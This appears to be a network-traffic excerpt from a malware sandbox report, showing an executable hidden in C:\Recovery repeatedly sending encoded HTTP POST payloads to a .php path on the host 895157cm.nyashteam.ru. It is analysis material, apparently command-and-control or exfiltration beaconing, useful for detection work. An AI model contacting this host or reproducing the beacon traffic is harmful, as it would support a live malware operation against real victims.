Dec 21, 2024 11:08:43.437928915 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:43.799823046 CET	2292	OUT	Data Raw: 59 53 46 59 5f 59 50 5c 54 5d 59 5a 55 59 57 57 56 5e 5c 55 52 54 5b 5e 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YSFY_YP\T]YZUYWWV^\URT[^YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!)-=??$+.B</-Z2=\0+>1Q((8 ]6?W2='[$.Y!'
Dec 21, 2024 11:08:44.525342941 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:44.765563965 CET	816	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mdk5casCfJn%2B5KHdq0X5zrODDBoO8%2FRU9AfK%2B1aa8BnVEd7w%2Fcibhhrs3mNNquk3%2F%2FSyrlgipce8qfErS1L%2FFHmLNsBZj1nIRmm7enjHrjJ4rC4wC86GnWvtwBNwmmOKgM5txFepW3g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712954b4a7286-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=7081&min_rtt=1925&rtt_var=11034&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=33817&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49889	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:45.016642094 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:45.369204998 CET	2292	OUT	Data Raw: 59 58 43 5e 5a 58 50 5d 54 5d 59 5a 55 5f 57 53 56 5f 5c 54 52 56 5b 57 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YXC^ZXP]T]YZU_WSV_\TRV[WYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\">?Z;<+B<<!&V)((<V(U((_6R2='[$.Y!
Dec 21, 2024 11:08:46.102005959 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:46.346347094 CET	804	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QxM4648GC9abzMJAs99ydXK4U2N6ONSgibh9iLl33WDsGIXrd6ibBh9RWdALuqHRrj6OlbzDZodw7XPtVpHh0qpRn%2BdlrV8tkLfrI8vntPuhMPf9oWxRdJGalzrfQjW0bnDOU9JQP8k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57129f282018c8-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=2847&min_rtt=1473&rtt_var=3302&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=117062&cwnd=147&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49894	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:46.679338932 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:47.025661945 CET	1732	OUT	Data Raw: 59 5e 46 5f 5f 5d 55 5e 54 5d 59 5a 55 5d 57 54 56 5c 5c 58 52 52 5b 57 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y^F__]U^T]YZU]WTV\\XRR[WYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"=!?? +.?A+=28*: ?!(/<;,\#($&-'[$.Y!7
Dec 21, 2024 11:08:47.779083014 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:48.014600992 CET	958	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FdaUxsDhSZij0zgxJoaLKUWxIgmhF%2FV89I6Szb7Kqvu%2B6lFWf42ipkfs97F4eHaQKLVGzyS4UvlzIiKr186kI5goTpbnlqsh2OI3%2BPjXJAjuNiUXBT5dPpbGWI3f90occvpTdn%2BJNw0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712a99b0f7288-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4614&min_rtt=1958&rtt_var=6047&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=62906&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 58 27 3b 35 07 2a 00 2c 06 3c 3f 2d 1e 3c 05 36 1b 38 32 22 04 25 30 37 07 2e 2c 2d 55 28 0d 3d 59 3f 3e 24 1e 28 37 3f 11 29 02 2e 58 03 11 24 59 21 39 30 00 2b 06 2a 0a 39 01 25 18 20 2d 06 02 2c 38 25 51 27 2e 26 1e 36 03 3b 1f 2c 08 33 0c 2f 17 05 5d 31 34 2f 55 24 2e 2e 53 0c 16 21 00 2a 13 21 10 27 2f 29 10 33 34 3d 0e 35 1f 33 09 35 3b 38 19 25 2c 3d 00 33 3e 38 52 29 20 29 1c 2b 3f 08 43 3f 04 07 1b 28 11 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 989X';5,<?-<682"%07.,-U(=Y?>$(7?).X$Y!90+9% -,8%Q'.&6;,3/]14/U$..S!*!'/)34=535;8%,=3>8R) )+?C?(&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49895	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:46.755736113 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:47.103754997 CET	2292	OUT	Data Raw: 5c 5c 46 58 5a 5a 50 5f 54 5d 59 5a 55 50 57 54 56 5a 5c 55 52 57 5b 5e 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \\FXZZP_T]YZUPWTVZ\URW[^YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!C*.\<+>?C+,%>)3Y+X:( +4\!8#%-'[$.Y!
Dec 21, 2024 11:08:47.855570078 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:48.089456081 CET	813	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O09ETPV%2BuF3bGs4FwRMm4R9xJtQexJgUnEiIjRbaHtT%2F9KUSZLegAMyEmpq%2FljV98V9%2BlWsmnihn6hgVJhVPqgqx4POgMxV3b3MNAgXQwiuJ4ssu%2BUceG%2BrqcjPc1zVqIH3OUh4vyos%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712aa1c9643dd-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4427&min_rtt=1561&rtt_var=6318&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=59613&cwnd=195&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49898	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:48.250432014 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:48.603724003 CET	2292	OUT	Data Raw: 5c 58 43 5c 5f 5a 50 59 54 5d 59 5a 55 50 57 54 56 5a 5c 5f 52 56 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \XC\_ZPYT]YZUPWTVZ\_RV[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\".\?,<U<A?2)),?"( W*;$^#;'W2='[$.Y!
Dec 21, 2024 11:08:49.361267090 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:49.608665943 CET	811	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YuuWkQX77e3qBfRTPvOkKf%2BFLzcmHeoNtQDCgZSDroVEMmYTFAeynQL5XiCOTLgZRbWIdk42HH8zfYSiQeh0i2g64%2FEWfMZxFgQ8pwZW8HbCc%2FwBNZOexurUW%2BotwrLwXObdndTC%2BQc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712b37baf0fa1-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3763&min_rtt=1469&rtt_var=5139&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=73648&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49902	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:49.843600988 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:50.197458982 CET	2292	OUT	Data Raw: 59 5b 43 53 5f 59 55 58 54 5d 59 5a 55 5d 57 5e 56 50 5c 5c 52 53 5b 56 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y[CS_YUXT]YZU]W^VP\\RS[VYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!C>2X(0>>'+?)1;)P)*$<%W(#4Q($Y5^+1'[$.Y!7
Dec 21, 2024 11:08:50.929282904 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:51.167591095 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9B1DbgAUfvDwN4dgDuEkZLo2ODJrSbbnP9Oqelm%2B9RPtNSH9UIL1THWkcHt0bkHBbYe7fk6RWbYZXAYDb2Vwuqr%2FTRNKKL4kq4fQ6hkT2pACzKX7niq3T3EAGKnii6Qr8yeov3WwrDc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712bd4fd24372-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3194&min_rtt=1654&rtt_var=3701&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=104449&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49908	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:51.410368919 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:51.759815931 CET	2292	OUT	Data Raw: 59 52 46 5f 5a 5d 55 5e 54 5d 59 5a 55 51 57 56 56 51 5c 5b 52 57 5b 58 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YRF_Z]U^T]YZUQWVVQ\[RW[XYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\")=!<<>-;C(-\$(>)3Z<1T?,W++<6+8'-'[$.Y!
Dec 21, 2024 11:08:52.503593922 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:52.729576111 CET	810	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e0ekyM6HKdk6lyW%2FNzBd2wyZ4e3hxmDTmBdIRADwyox4lBeOLGeiuzArTLHluhOK%2FvEahzfQ%2BgfnhIl8iO2pMcOm3UT%2BzxpXvGE62F6qhNywErf1AYYU9cTA18hTdcKbjhF63uJoAVw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712c71a7ff797-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=2562&min_rtt=1422&rtt_var=2813&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=138480&cwnd=160&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49913	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:52.973138094 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49914	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:53.146646976 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:53.494371891 CET	1732	OUT	Data Raw: 59 5f 43 5c 5a 5b 55 5d 54 5d 59 5a 55 5b 57 53 56 50 5c 58 52 50 5b 5d 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y_C\Z[U]T]YZU[WSVP\XRP[]YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"[.><#(X8)<&&;5U>+(-9(30+8_"7V&'[$.Y!/
Dec 21, 2024 11:08:54.232175112 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:54.465517998 CET	960	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qulfxzwGvAwSsnhPPn0uggS%2F%2FsSJqIsOI3uXKE9peoLAV4jKJ3kADZw%2FRVVk6xWr13mmL0RJ5FJrA74gTwKPp7pIcLIpgtjWorC1ehdvZk2%2BoRSHKc1KPRXCLUU%2BPVB4fQyY5TTnG6s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712d1ffe943c8-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4749&min_rtt=2074&rtt_var=6129&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=62180&cwnd=191&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 13 26 28 36 1c 2a 17 23 5b 3f 12 07 1e 3f 2c 26 59 2f 31 39 5e 24 0d 24 5b 2e 3f 3a 09 3c 33 21 11 28 3e 20 54 2b 37 02 01 2a 12 2e 58 03 11 27 07 22 14 0d 5e 3f 38 03 52 2c 28 0f 5a 37 2e 23 14 2d 16 25 1d 32 3e 36 11 22 3a 3c 09 2c 57 33 0e 2c 39 3f 5e 25 34 2b 52 25 04 2e 53 0c 16 21 05 28 2e 39 59 26 01 22 0e 25 34 3a 56 36 26 0d 09 22 3b 3c 56 30 3c 08 5f 30 10 0e 52 28 23 3d 54 3c 3f 2e 43 2b 3a 3d 53 2b 11 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 989&(6#[??,&Y/19^$$[.?:<3!(> T+7.X'"^?8R,(Z7.#-%2>6":<,W3,9?^%4+R%.S!(.9Y&"%4:V6&";<V0<_0R(#=T<?.C+:=S+&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49915	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:53.263936043 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:53.619363070 CET	2292	OUT	Data Raw: 59 58 46 58 5f 5a 55 5e 54 5d 59 5a 55 5f 57 5e 56 5c 5c 58 52 57 5b 5d 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YXFX_ZU^T]YZU_W^V\\XRW[]YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!=-(<>>'?-[&)U)+<(Q?+8X!#&'[$.Y!
Dec 21, 2024 11:08:54.351417065 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:54.591655016 CET	814	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2MJtd0GcNrYi0rbOI%2FW%2FT0DRLYcWHogegdWXGI%2BxfweObDHkfzA4oNvnONKaKKBFRej3qmBYVDdKU6K2OHS9MlXQWizIflBi4tBFv%2BIpyNf4vXzxnlFHD%2BOaznByCfuSR7W1ECmIi%2Bo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712d2bc0243bc-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3511&min_rtt=2052&rtt_var=3689&sent=4&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=106328&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49918	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:54.944133043 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:55.291095972 CET	2292	OUT	Data Raw: 5c 5f 43 5d 5a 5e 50 5e 54 5d 59 5a 55 51 57 52 56 58 5c 55 52 57 5b 58 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \_C]Z^P^T]YZUQWRVX\URW[XYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"+.?<<?),1Z$8"3<-2<07++5^(2-'[$.Y!
Dec 21, 2024 11:08:56.027859926 CET	25	IN	HTTP/1.1 100 Continue
